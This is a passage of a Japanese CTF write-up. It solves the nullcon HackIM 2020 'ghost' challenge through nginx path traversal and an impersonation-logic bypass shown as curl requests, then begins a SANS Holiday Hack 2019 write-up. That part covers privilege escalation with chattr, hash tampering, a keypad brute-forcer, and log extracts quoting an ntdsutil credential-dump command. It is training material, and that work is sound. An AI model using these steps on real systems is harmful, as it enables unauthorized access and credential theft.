nullcon HackIM 2020 Writeup - ghost
Question
Ever had a scary feeling when you are alone that there is something in the room, but you cant see it with your eyes alone? Don't be scared to probe at - https://web1.ctf.nullcon.net:8443/ Note: Challenge Is Not Down
Solution
Stage1
ChromeでURLにアクセスしてもERR_CONNECTION_REFUSED
が発生する。
ヒントを見ると、女性が1,2,3のカウントをしているgif画像が表示される。
HTTP/3で接続すると繋がるのではと推測する。
curlコマンドでHTTP/3接続するには、HTTP/3対応版のcurlを自分でビルドする必要がある。
HTTP/3対応のcurlインストール
ビルドに必要なパッケージやライブラリをあらかじめインストールしておく。
$ apt install cmake autoconf libtool pkg-config # RUSTのインストール(cargoコマンドが必要であるため) $ curl https://sh.rustup.rs -sSf | sh # golangのインストール # https://golang.org/dl/ からtar.gzをダウンロード $ tar -C /usr/local -xzf go1.13.7.linux-amd64.tar.gz $ export PATH=$PATH:/usr/local/go/bin
以下のページを見ながらビルドを進める。
curl/HTTP3.md at master · curl/curl · GitHub
最後にmake install
する。その後、ターミナルの再起動が必要かもしれない。
環境を汚すのが嫌な場合は、./src/curl
をそのまま使ってもよい。
成功すると、FeaturesにHTTP3を確認できる。
root@kali:~# curl -V curl 7.69.0-DEV (x86_64-pc-linux-gnu) libcurl/7.69.0-DEV BoringSSL zlib/1.2.11 quiche/0.2.0 Release-Date: [unreleased] Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp Features: alt-svc AsynchDNS HTTP3 HTTPS-proxy IPv6 Largefile libz NTLM NTLM_WB SSL UnixSockets
攻略
--http3
オプションを付けてcurlコマンドを実行すると、推測通りアクセスできた。
root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/ -v * Trying 139.59.34.79:8443... * Sent QUIC client Initial, ALPN: h3-25h3-24h3-23 * h3 [:method: GET] * h3 [:path: /] * h3 [:scheme: https] * h3 [:authority: web1.ctf.nullcon.net:8443] * h3 [user-agent: curl/7.69.0-DEV] * h3 [accept: */*] * Using HTTP/3 Stream ID: 0 (easy handle 0x55e190e16850) > GET / HTTP/3 > Host: web1.ctf.nullcon.net:8443 > user-agent: curl/7.69.0-DEV > accept: */* > < HTTP/3 200 < server: nginx/1.16.1 < date: Sat, 08 Feb 2020 05:00:19 GMT < content-type: text/html < content-length: 374 < last-modified: Wed, 05 Feb 2020 19:18:19 GMT < etag: "5e3b14fb-176" < alt-svc: h3-23=":443"; ma=86400 < accept-ranges: bytes < <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <title>How are you here?</title> </head> <body> <center><h1>Shit! </h1> <h3>How on earth did you reach here?</h3> <h3>We added another layer of security to so we dont get hacked. Can you breach that also?</h3> <img src="/static/giphy.gif"></img> </center> <!-- No need to bruteforce# --> </body> </html> * Connection #0 to host web1.ctf.nullcon.net left intact
static
ディレクトリを確認すると、ディレクトリリスティングが有効であることがわかる。
root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/static/ <html> <head><title>Index of /static/</title></head> <body> <h1>Index of /static/</h1><hr><pre><a href="../">../</a> <a href="giphy.gif">giphy.gif</a> 05-Feb-2020 19:18 5801332 </pre><hr></body> </html>
nginxには設定ミスによりパストラバーサルが可能な脆弱性が生まれる。
(2019年のwriteupまとめ記事でも紹介済み)
https://graneed.hatenablog.com/entry/2019/12/29/115100#nginx%E3%81%AE%E8%A8%AD%E5%AE%9A%E4%B8%8D%E5%82%99
root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/static../ <html> <head><title>Index of /static../</title></head> <body> <h1>Index of /static../</h1><hr><pre><a href="../">../</a> <a href="backup/">backup/</a> 05-Feb-2020 19:18 - <a href="html/">html/</a> 05-Feb-2020 19:18 - <a href="static/">static/</a> 05-Feb-2020 19:18 - </pre><hr></body> </html> root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/static../backup/ <html> <head><title>Index of /static../backup/</title></head> <body> <h1>Index of /static../backup/</h1><hr><pre><a href="../">../</a> <a href="links.txt">links.txt</a> 05-Feb-2020 19:18 277 <a href="nginx.conf">nginx.conf</a> 05-Feb-2020 19:18 1242 </pre><hr></body> </html> root@kali:~# curl --http3 https://web1.ctf.nullcon.net:8443/static../backup/links.txt To signup http://localhost/check.php?signup=true&name=asd To Impersonate a person http://localhost/check.php?impersonator=asd&impersonatee=check To umimpersonate a person http://localhost/check.php?unimpersonate=asd-admin To get status http://localhost/check.php?status=asd
/check.php
というURLが存在することがわかる。次にこちらを攻める。
Stage2
/check.php
は、パラメータによって機能が変わるようだ。
サインアップしてステータス確認すると、パラメータで指定したnameのユーザに加えて、nameの末尾に-admin
が付いたadmin roleを持つユーザが作成されていることがわかる。
root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?signup=true&name=asd" <center><h1>Welcome to password less authentication system</h1></center>Please become admin, username: asd-admin root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?status=asd" <center><h1>Welcome to password less authentication system</h1></center> name: asd</br> impersonating: </br> role: user</br> admin name: asd-admin</br> admin role: admin</br> Please become admin, username: asd-admin
impersonatorで指定したユーザを、impersonateeで指定したユーザに成りすましができるようだ。
root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?impersonator=asd&impersonatee=check" <center><h1>Welcome to password less authentication system</h1></center>You are not admin root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?status=asd" <center><h1>Welcome to password less authentication system</h1></center> name: asd</br> impersonating: check</br> role: user</br> admin name: asd-admin</br> admin role: admin</br> You are not admin
adminのロールをもつユーザには成りすましできないようチェックされている。
root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?impersonator=asd&impersonatee=asd-admin" <center><h1>Welcome to password less authentication system</h1></center>cannot impersonate admin role
そこで、adminのロールを持つユーザを、userのロールを持つユーザに成りすませた状態であれば、このチェックをバイパスして、成りすましが可能と推測する。その後、adminのロールを持つユーザの成りすましを解除すればよい。
手順を整理すると以下のとおり。
asd-admin
をasd
に成りすまし。asd
をasd-admin
に成りすまし。asd-admin
の成りすましを解除。asd
はasd-admin
に成りすましたままなので、admin roleを持つ。
root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?signup=true&name=asd" <center><h1>Welcome to password less authentication system</h1></center>Please become admin, username: asd-admin root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?impersonator=asd-admin&impersonatee=asd" <center><h1>Welcome to password less authentication system</h1></center>You are not admin root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?impersonator=asd&impersonatee=asd-admin" <center><h1>Welcome to password less authentication system</h1></center>You admin role is not admin root@kali:~# curl --http3 -H "cookie: PHPSESSID=b7648f7c4261c2a885eda5c1322aba1c" "https://web1.ctf.nullcon.net:8443/check.php?unimpersonate=asd-admin" <center><h1>Welcome to password less authentication system</h1></center>hackim20{We_Never_Thought_it_Was_That_Vulnerable}
フラグゲット。
hackim20{We_Never_Thought_it_Was_That_Vulnerable}
The 2019 SANS Holiday Hack Challenge Writeup
あけましておめでとうございます。
今年もSANS社がHoliday Hack Challengeを開催しており、参加&全完しましたのでwriteupを書きます。
holidayhackchallenge.com
昨年のwriteup記事はこちらです。
graneed.hatenablog.com
- 概要
- Terminal問題
- Frosty Keypad!
- 1) Find the Turtle Doves
- 2) Unredact Threatening Document
- 3) Windows Log Analysis: Evaluate Attack Outcome
- 4) Windows Log Analysis: Determine Attacker Technique
- 5) Network Log Analysis: Determine Compromised System
- 6) Splunk
- 1. What is the short host name of Professor Banas' computer?
- 2. What is the name of the sensitive file that was likely accessed and copied by the attacker? Please provide the fully qualified location of the file. (Example: C:\temp\report.pdf)
- 3. What is the fully-qualified domain name(FQDN) of the command and control(C2) server? (Example: badguy.baddies.com)
- 4. What document is involved with launching the malicious PowerShell code? Please provide just the filename. (Example: results.txt)
- 5. How many unique email addresses were used to send Holiday Cheer essays to Professor Banas? Please provide the numeric value. (Example: 1)
- 6. What was the password for the zip archive that contained the suspicious file?
- 7. What email address did the suspicious file come from?
- What was the message for Kent that the adversary embedded in this attack?
- 7) Get Access To The Steam Tunnels
- 8) Bypassing the Frido Sleigh CAPTEHA
- 9) Retrieve Scraps of Paper from Server
- 10) Recover Cleartext Document
- 11) Open the Sleigh Shop Door
- 12) Filter Out Poisoned Sources of Weather Data
- 所感
概要
エルフ大学を歩きながら、ペンテスト、フォレンジック、マルウェア解析、ネットワーク解析などのスキルを駆使して、各種チャレンジを解いていく。 メインの問題数は全12問、メインの問題のヒントがもらえるサブのTerminal問題が全10問ある。
以下、開始直後の鉄道を降りたところのスクリーンショット。
右側にある緑色の端末みたいなアイコンがTerminal問題。これを解くと隣にいるエルフからヒントをもらえる。
Terminal問題
最初はTerminal問題から。マップ上のアイコンをクリックするとターミナルが立ち上がる。(一部例外あり
Escape Ed
edを終了すればクリア。q
コマンドで終了。
Linux Path
lsコマンドを実行すればクリアだが、path
が通っていない。/bin/ls
で直接実行する。
Mongo Pilfer
ローカルで起動しているMongoDBに接続したいが、デフォルトのポート番号ではない。
ps -eax
を実行するとポート番号を12121
に指定していることがわかる。
DBを適当に漁ると、指定されたコマンドを実行しろと指示を発見するので、実行するとクリア。
Nyanshell
alabaster_snowballにsu
してBash起動できればクリアだが、デフォルトシェルが/bin/nsh
になっている。
/bin/nsh
のwrite権限はあるものの、上書きができない。
sudo -l
を実行すると/usr/bin/chattr
がroot権限で実行できることがわかる。
ファイル属性にi
属性が設定されていることが上書きできない原因のようなので、-i
オプションで外してから、/bin/nsh
を/bin/bash
で上書きする。
Smart Braces
指定された要件を満たすような、iptablesの設定を実行すればクリア。要件は以下のとおり。
1. Set the default policies to DROP for the INPUT, FORWARD, and OUTPUT chains. 2. Create a rule to ACCEPT all connections that are ESTABLISHED,RELATED on the INPUT and the OUTPUT chains. 3. Create a rule to ACCEPT only remote source IP address 172.19.0.225 to access the local SSH server (on por t 22). 4. Create a rule to ACCEPT any source IP to the local TCP services on ports 21 and 80. 5. Create a rule to ACCEPT all OUTPUT traffic with a destination TCP port of 80. 6. Create a rule applied to the INPUT chain to ACCEPT all traffic from the lo interface.
対応する設定を行うコマンドは以下のとおり。
sudo iptables -P INPUT DROP sudo iptables -P FORWARD DROP sudo iptables -P OUTPUT DROP sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT sudo iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT sudo iptables -A INPUT -s 172.19.0.225 -p tcp --dport 22 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 21 -j ACCEPT sudo iptables -A INPUT -p tcp --dport 80 -j ACCEPT sudo iptables -A OUTPUT -p tcp --dport 80 -j ACCEPT sudo iptables -A INPUT -i lo -j ACCEPT
Xmas Cheer Laser
端末内の情報を集めてレーザーの出力を上げるためのパラメータ情報を集める問題。PowerShell環境。
集めたパラメータ情報はAPIで設定する。API仕様は以下のとおり。
PS /home/elf> (Invoke-WebRequest -Uri http://localhost:1225/).RawContent HTTP/1.0 200 OK Server: Werkzeug/0.16.0 Server: Python/3.6.9 Date: Sun, 29 Dec 2019 18:48:30 GMT Content-Type: text/html; charset=utf-8 Content-Length: 860 <html> <body> <pre> ---------------------------------------------------- Christmas Cheer Laser Project Web API ---------------------------------------------------- Turn the laser on/off: GET http://localhost:1225/api/on GET http://localhost:1225/api/off Check the current Mega-Jollies of laser output GET http://localhost:1225/api/output Change the lense refraction value (1.0 - 2.0): GET http://localhost:1225/api/refraction?val=1.0 Change laser temperature in degrees Celsius: GET http://localhost:1225/api/temperature?val=-10 Change the mirror angle value (0 - 359): GET http://localhost:1225/api/angle?val=45.1 Change gaseous elements mixture: POST http://localhost:1225/api/gas POST BODY EXAMPLE (gas mixture percentages): O=5&H=5&He=5&N=5&Ne=20&Ar=10&Xe=10&F=20&Kr=10&Rn=10 ---------------------------------------------------- </pre> </body> </html>
パラメータは全部で4種類。
1. angle
historyを実行すると発見。angleは65.5
。次のヒントも発見する。
PS /home/elf> history | Out-String -Width 4096 Id CommandLine -- ----------- 1 Get-Help -Name Get-Process 2 Get-Help -Name Get-* 3 Set-ExecutionPolicy Unrestricted 4 Get-Service | ConvertTo-HTML -Property Name, Status > C:\services.htm 5 Get-Service | Export-CSV c:\service.csv 6 Get-Service | Select-Object Name, Status | Export-CSV c:\service.csv 7 (Invoke-WebRequest http://127.0.0.1:1225/api/angle?val=65.5).RawContent 8 Get-EventLog -Log "Application" 9 I have many name=value variables that I share to applications system wide. At a command I will reveal m y secrets once you Get my Child Items. 10 (Invoke-WebRequest -Uri http://localhost:1225/).RawContent
2. refraction
I have many name=value variables that I share to applications system wide. At a command I will reveal my secrets once you Get my Child Items.
のヒントから、Get-ChildItem
で環境変数を確認する。
PS /home/elf> Get-ChildItem env: | Out-String -Width 4096 Name Value ---- ----- _ /bin/su DOTNET_SYSTEM_GLOBALIZATION_I… false HOME /home/elf HOSTNAME 8f719061667c LANG en_US.UTF-8 LC_ALL en_US.UTF-8 LOGNAME elf MAIL /var/mail/elf PATH /opt/microsoft/powershell/6:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin :/sbin:/bin:/usr/games:/usr/local/games PSModuleAnalysisCachePath /var/cache/microsoft/powershell/PSModuleAnalysisCache/ModuleAnalysisCache PSModulePath /home/elf/.local/share/powershell/Modules:/usr/local/share/powershell/Modules :/opt/microsoft/powershell/6/Modules PWD /home/elf RESOURCE_ID 4a012a47-0153-4c5b-8b25-15bd2cf73044 riddle Squeezed and compressed I am hidden away. Expand me from my prison and I will show you the way. Recurse through all /etc and Sort on my LastWriteTime to reveal im the newest of all. SHELL /home/elf/elf SHLVL 1 TERM xterm USER elf userdomain laserterminal USERDOMAIN laserterminal USERNAME elf username elf
ヒントどおりに/etc
配下の最終更新時間が新しいファイルを確認する。
PS /etc> Get-ChildItem -Recurse | Sort-Object LastWriteTime (snip) Directory: /etc/apt Mode LastWriteTime Length Name ---- ------------- ------ ---- --r--- 12/29/19 6:02 PM 5662902 archive
展開する。
PS /home/elf> Expand-Archive -Path /etc/apt/archive -DestinationPath /tmp PS /home/elf> cd /tmp PS /tmp> dir Directory: /tmp Mode LastWriteTime Length Name ---- ------------- ------ ---- d-r--- 12/13/19 5:15 PM 5t4srxl3 d-r--- 12/13/19 5:15 PM ar0h5fvb d-r--- 12/13/19 5:15 PM isersp3d d-r--- 12/13/19 5:15 PM jj0ulyca d-r--- 12/13/19 5:15 PM jyy10y3s d-r--- 12/13/19 5:15 PM mmwmacs2 d----- 12/29/19 6:19 PM refraction d-r--- 12/13/19 5:15 PM w45zpn1s d-r--- 12/13/19 5:15 PM wpvxws2m d-r--- 12/13/19 5:15 PM zulm3qkm ------ 12/29/19 6:19 PM 0 clr-debug-pipe-31-76974049-in ------ 12/29/19 6:19 PM 0 clr-debug-pipe-31-76974049-out ------ 12/29/19 6:19 PM 0 CoreFxPipe_PSHost.D5BE7487.31.None.elf PS /tmp> cd refraction PS /tmp/refraction> dir Directory: /tmp/refraction Mode LastWriteTime Length Name ---- ------------- ------ ---- ------ 11/7/19 11:57 AM 134 riddle ------ 11/5/19 2:26 PM 5724384 runme.elf
実行ファイルらしきファイルがあるので実行すると、refractionが1.867
だとわかる。
PS /tmp/refraction> chmod 777 ./runme.elf PS /tmp/refraction> ./runme.elf refraction?val=1.867
次のヒントも発見した。
PS /tmp/refraction> type riddle Very shallow am I in the depths of your elf home. You can find my entity by using my md5 identity: 25520151A320B5B0D21561F92C8F6224
3. temperature
/home/elf/depths
配下に大量のファイルがあり、その中からmd5が一致するファイルを発見するのが想定解のようだが、キーワード(val=
)で検索して強引に発見した。
temperatureは-33.5
。
PS /home/elf/depths> Get-ChildItem -Recurse -Force | Select-String "val=" produce/thhy5hll.txt:1:temperature?val=-33.5
次のヒントも発見した。
PS /home/elf/depths> type produce/thhy5hll.txt temperature?val=-33.5 I am one of many thousand similar txt's contained within the deepest of /home/elf/depths. Finding me will gi ve you the most strength but doing so will require Piping all the FullName's to Sort Length.
4. gas
/home/elf/depths
配下から、最もファイルパスが長いファイルを見つける。
PS /home/elf/depths> Get-ChildItem -Recurse -Force | Select-Object fullname | sort { $_.fullname.length } | Select-Object -last 1 | Out-String -Width 4096 FullName -------- /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/escape/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/cool/plate/ice/play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eager/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txt PS /home/elf/depths> type /home/elf/depths/larger/cloud/behavior/beauty/enemy/produce/age/chair/unknown/esca pe/vote/long/writer/behind/ahead/thin/occasionally/explore/tape/wherever/practical/therefore/cool/plate/ice/ play/truth/potatoes/beauty/fourth/careful/dawn/adult/either/burn/end/accurate/rubbed/cake/main/she/threw/eag er/trip/to/soon/think/fall/is/greatest/become/accident/labor/sail/dropped/fox/0jhj5xz6.txt Get process information to include Username identification. Stop Process to show me you're skilled and in th is order they must be killed: bushy alabaster minty holly Do this for me and then you /shall/see .
指定されたユーザが起動しているプロセスを停止すればよい。
PS /home/elf/depths> Get-Process -IncludeUserName WS(M) CPU(s) Id UserName ProcessName ----- ------ -- -------- ----------- 28.98 1.58 6 root CheerLaserServi 155.99 41.78 31 elf elf 3.50 0.03 1 root init 0.73 0.00 24 bushy sleep 0.72 0.00 26 alabaster sleep 0.80 0.00 28 minty sleep 0.81 0.00 29 holly sleep 3.46 0.00 30 root su PS /home/elf/depths> kill -9 24 PS /home/elf/depths> kill -9 26 PS /home/elf/depths> kill -9 28 PS /home/elf/depths> kill -9 29 PS /home/elf/depths> type /shall/see Get the .xml children of /etc - an event log to be found. Group all .Id's and the last thing will be in the Properties of the lonely unique event Id.
/etc
配下にある拡張子がxmlのイベントログを集計すればよいとのことだが、面倒なのでこれもキーワード(Xe=
)を類推して探して発見した。
gasはO=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9
。
PS /etc> Get-ChildItem -Recurse -Force -Include *.xml Get-ChildItem : Access to the path '/etc/ssl/private' is denied. At line:1 char:1 + Get-ChildItem -Recurse -Force -Include *.xml + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : PermissionDenied: (/etc/ssl/private:String) [Get-ChildItem], UnauthorizedAccessExc eption + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand Directory: /etc/systemd/system/timers.target.wants Mode LastWriteTime Length Name ---- ------------- ------ ---- --r--- 11/18/19 7:53 PM 10006962 EventLog.xml PS /etc> type /etc/systemd/system/timers.target.wants/EventLog.xml | Select-String "Xe=" <S N="Value">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "`$correct_gases_postbody = @{`n O=6`n H=7`n He=3`n N=4`n Ne=22`n Ar=11`n Xe=10`n F=20`n Kr=8`n Rn=9`n}`n"</S> <S N="Message">Process Create:_x000D__x000A_RuleName: _x000D__x000A_UtcTime: 2019-11-07 17:59:56.525_x000D__x000A_ProcessGuid: {BA5C6BBB-5B9C-5DC4-0000-00107660A900}_x000D__x000A_ProcessId: 3664_x000D__x000A_Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe_x000D__x000A_FileVersion: 10.0.14393.206 (rs1_release.160915-0644)_x000D__x000A_Description: Windows PowerShell_x000D__x000A_Product: Microsoft® Windows® Operating System_x000D__x000A_Company: Microsoft Corporation_x000D__x000A_OriginalFileName: PowerShell.EXE_x000D__x000A_CommandLine: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c "`$correct_gases_postbody = @{`n O=6`n H=7`n He=3`n N=4`n Ne=22`n Ar=11`n Xe=10`n F=20`n Kr=8`n Rn=9`n}`n"_x000D__x000A_CurrentDirectory: C:\_x000D__x000A_User: ELFURESEARCH\allservices_x000D__x000A_LogonGuid: {BA5C6BBB-5B9C-5DC4-0000-0020F55CA900}_x000D__x000A_LogonId: 0xA95CF5_x000D__x000A_TerminalSessionId: 0_x000D__x000A_IntegrityLevel: High_x000D__x000A_Hashes: MD5=097CE5761C89434367598B34FE32893B_x000D__x000A_ParentProcessGuid: {BA5C6BBB-4C79-5DC4-0000-001029350100}_x000D__x000A_ParentProcessId: 1008_x000D__x000A_ParentImage: C:\Windows\System32\svchost.exe_x000D__x000A_ParentCommandLine: C:\Windows\system32\svchost.exe -k netsvcs</S>
集めたパラメータをAPIを呼び出して設定するとクリア。
(Invoke-WebRequest -Uri http://localhost:1225/api/off).RawContent (Invoke-WebRequest -Uri http://localhost:1225/api/refraction?val=1.867).RawContent (Invoke-WebRequest -Uri http://localhost:1225/api/temperature?val=-33.5).RawContent (Invoke-WebRequest -Uri http://localhost:1225/api/angle?val=65.5).RawContent (Invoke-WebRequest -Uri http://localhost:1225/api/gas -Method Post -Body 'O=6&H=7&He=3&N=4&Ne=22&Ar=11&Xe=10&F=20&Kr=8&Rn=9').RawContent (Invoke-WebRequest -Uri http://localhost:1225/api/on).RawContent (Invoke-WebRequest -Uri http://localhost:1225/api/output).RawContent
Frosty Keypad!
Terminalが起動される問題ではないが、ここで紹介。
キーパッドで正しい数値を入力する問題。
数値が素数になること、1つのボタンだけ2回使用しそれ以外は1回だけ使用すること、キーパッドの形跡がヒントになること、の情報が与えられている。
1と3と7に押下された形跡がある。
Burp Suiteまたはブラウザの開発者ツールで確認すると、呼び出し先のAPIがわかるので、条件を満たすボタンの組合せで総当たりするプログラムを作って実行する。
import itertools import requests def is_prime(q): q = abs(q) if q == 2: return True if q < 2 or q&1 == 0: return False return pow(2, q-1, q) == 1 for i in [1,3,7]: for v in itertools.permutations([1,3,7,i]): s = "".join(map(str,v)) if is_prime(int(s)): url = "https://keypad.elfu.org/checkpass.php?i=%s&resourceId=4aa66b1c-05e2-49ad-bfd9-8a3e4332022a" % s r = requests.get(url) if r.json()["success"] == True: print(s, r.text) exit
いまいちなロジックなので2回出てしまうが、7331
が正しいコードであることがわかる。
root@kali:/mnt/hgfs/CTF/Contest/SANS2019# python3 brute.py 7331 {"success":true,"resourceId":"4aa66b1c-05e2-49ad-bfd9-8a3e4332022a","hash":"c7e2b5534645cee5e33a1669a1dec038724fcd0e42ef3e9a2a14bc89eaed37aa","message":"Valid Code!"} 7331 {"success":true,"resourceId":"4aa66b1c-05e2-49ad-bfd9-8a3e4332022a","hash":"c7e2b5534645cee5e33a1669a1dec038724fcd0e42ef3e9a2a14bc89eaed37aa","message":"Valid Code!"}
Graylog
Graylogというログ分析ツールを使用して、ログからインシデント調査する問題。
Q1.
Minty
で検索。
answer: C:\Users\minty\Downloads\cookie_recipe.exe
Q2.
ProcessId:5256
で検索。
answer: 192.168.247.175:4444
Q3.
ParentProcessId:5256
で検索。
answer: whoami
Q4.
Q3と同じ検索結果から。
answer: webexservice
Q5.
ParentProcessImage:C\:\\Users\\minty\\Downloads\\cookie_recipe2.exe
で検索。
answer: C:\cookie.exe
Q6.
account name
で検索。
answer: alabaster
Q7.
AccountName:alabaster AND LogonType:10
で検索。
answer: 06:04:28
Q8.
timestamp:["2019-11-19 06:04:28.000" TO "2019-11-21 23:59:59.000"] AND SourceHostName:ELFU-RES-WKS2
で検索。
Answer: elfu-res-wks2,elfu-res-wks3,3
Q9.
pastebin.com
で検索。
answer: C:\Users\alabaster\Desktop\super_secret_elfu_research.pdf
Q10.
Q9と同じ検索結果から。
answer: 104.22.3.84
#7830984301576234
Holiday Hack Trail
難易度がEASY、MEDIUM、HARDの3段階あるゲーム。チートをして、Hardをクリアする。
通信を観察すると、EASYはGETでパラメータ送信、MEDIUMはPOSTでパラメータ送信、HARDはPOSTでパラメータ送信且つhashで改ざん確認をしていることがわかる。パラメータを改ざんするとhashが変わる。
ゲーム開始時のパラメータのhashの値であるbc573864331a9e42e4511de6f678aa83
で検索すると、1626
のmd5であることがわかる。どうやら特定のパラメータの合計値をmd5計算しているだけのようだ。
距離を8000稼げばクリアなので、スタート地点を0から7999にする。
1626+7999=9625のmd5はa330f9fecc388ce67f87b09855480ca3
である。
Burp Suiteで通信をインターセプトして、distanceを7999
、hashをa330f9fecc388ce67f87b09855480ca3
で上書きする。
チェックをバイパスしてゲームを開始できて、即クリア。
Zeek JSON Analysis
JSONファイルを解析して、durationが最も大きいログのIPアドレスを確認する。
elf@c6c39e513269:~$ cat ./conn.log | jq '.duration' | sort -g | tail -1 1019365.337758 elf@c6c39e513269:~$ grep 1019365.337758 ./conn.log {"ts":"2019-04-18T21:27:45.402479Z","uid":"CmYAZn10sInxVD5WWd","id.orig_h":"192.168.52.132","id.orig_p":8,"i d.resp_h":"13.107.21.200","id.resp_p":0,"proto":"icmp","duration":1019365.337758,"orig_bytes":30781920,"resp _bytes":30382240,"conn_state":"OTH","missed_bytes":0,"orig_pkts":961935,"orig_ip_bytes":57716100,"resp_pkts" :949445,"resp_ip_bytes":56966700} elf@c6c39e513269:~$ runtoanswer Loading, please wait...... What is the destination IP address with the longes connection duration? 13.107.21.200 Thank you for your analysis, you are spot-on. I would have been working on that until the early dawn. Now that you know the features of jq, You'll be able to answer other challenges too. -Wunorse Openslae Congratulations!
ここまでがterminal問題。次からメインの問題。
1) Find the Turtle Doves
マップを探索して鳩を発見するだけ。
2) Unredact Threatening Document
マップを探索するとPDFが落ちている。
マスクされているが選択してコピーすれば抜き出せる。
Date: February 28, 2019 To the Administration, Faculty, and Staff of Elf University 17 Christmas Tree Lane North Pole From: A Concerned and Aggrieved Character Subject: DEMAND: Spread Holiday Cheer to Other Holidays and Mythical Characters… OR ELSE! Attention All Elf University Personnel, It remains a constant source of frustration that Elf University and the entire operation at the North Pole focuses exclusively on Mr. S. Claus and his year-end holiday spree. We URGE you to consider lending your considerable resources and expertise in providing merriment, cheer, toys, candy, and much more to other holidays year-round, as well as to other mythical characters. For centuries, we have expressed our frustration at your lack of willingness to spread your cheer beyond the inaptly-called “Holiday Season.” There are many other perfectly fine holidays and mythical characters that need your direct support year-round. If you do not accede to our demands, we will be forced to take matters into our own hands. We do not make this threat lightly. You have less than six months to act demonstrably. Sincerely, --A Concerned and Aggrieved Character
answer: DEMAND
3) Windows Log Analysis: Evaluate Attack Outcome
イベントログから不正ログインが成功したアカウントを調査する。デフォルトのイベントビューアーで開いて、大量のログイン失敗直後にログイン成功しているアカウント名を入力すると正解だった。特にひっかけ要素もなかった。
answer: supatree
4) Windows Log Analysis: Determine Attacker Technique
Sysmonのログから、lsass.exeのプロセスから実行されている攻撃者が使用しているツールを探す問題。
lsass.exeでログを検索すると、前後のログからlsass.exe -> cmd.exe -> ntdsutil.exe
の順序で子プロセスを起動していることがわかる。
{ "command_line": "C:\\Windows\\system32\\cmd.exe", "event_type": "process", "logon_id": 999, "parent_process_name": "lsass.exe", "parent_process_path": "C:\\Windows\\System32\\lsass.exe", "pid": 3440, "ppid": 632, "process_name": "cmd.exe", "process_path": "C:\\Windows\\System32\\cmd.exe", "subtype": "create", "timestamp": 132186398356220000, "unique_pid": "{7431d376-dedb-5dd3-0000-001027be4f00}", "unique_ppid": "{7431d376-cd7f-5dd3-0000-001013920000}", "user": "NT AUTHORITY\\SYSTEM", "user_domain": "NT AUTHORITY", "user_name": "SYSTEM" }, { "command_line": "ntdsutil.exe \"ac i ntds\" ifm \"create full c:\\hive\" q q", "event_type": "process", "logon_id": 999, "parent_process_name": "cmd.exe", "parent_process_path": "C:\\Windows\\System32\\cmd.exe", "pid": 3556, "ppid": 3440, "process_name": "ntdsutil.exe", "process_path": "C:\\Windows\\System32\\ntdsutil.exe", "subtype": "create", "timestamp": 132186398470300000, "unique_pid": "{7431d376-dee7-5dd3-0000-0010f0c44f00}", "unique_ppid": "{7431d376-dedb-5dd3-0000-001027be4f00}", "user": "NT AUTHORITY\\SYSTEM", "user_domain": "NT AUTHORITY", "user_name": "SYSTEM" }
answer: ntdsutil
5) Network Log Analysis: Determine Compromised System
Beacons画面の先頭のSourceのIPアドレスが答え。
answer: 192.168.134.130
6) Splunk
Splunkを使用して、インシデント調査を進めていく問題。
インシデントレスポンスチームのリーダーみたいなキャラクターからチャット形式でヒントをもらえるので、指示通りに検索していけばクリア。
1. What is the short host name of Professor Banas' computer?
チャットにそのまま答えがある。
answer: sweetums
2. What is the name of the sensitive file that was likely accessed and copied by the attacker? Please provide the fully qualified location of the file. (Example: C:\temp\report.pdf)
index=main santa
で検索。
answer: C:\Users\cbanas\Documents\Naughty_and_Nice_2019_draft.txt
3. What is the fully-qualified domain name(FQDN) of the command and control(C2) server? (Example: badguy.baddies.com)
index=main sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational powershell EventCode=3
で検索。
answer: 144.202.46.214.vultr.com
4. What document is involved with launching the malicious PowerShell code? Please provide just the filename. (Example: results.txt)
index=main sourcetype="WinEventLog:Microsoft-Windows-Powershell/Operational" | reverse
で検索し、先頭レコードの時間の前後5秒間で絞り込んだ上で、index=main
で検索。
プロセスIDが6268
と5864
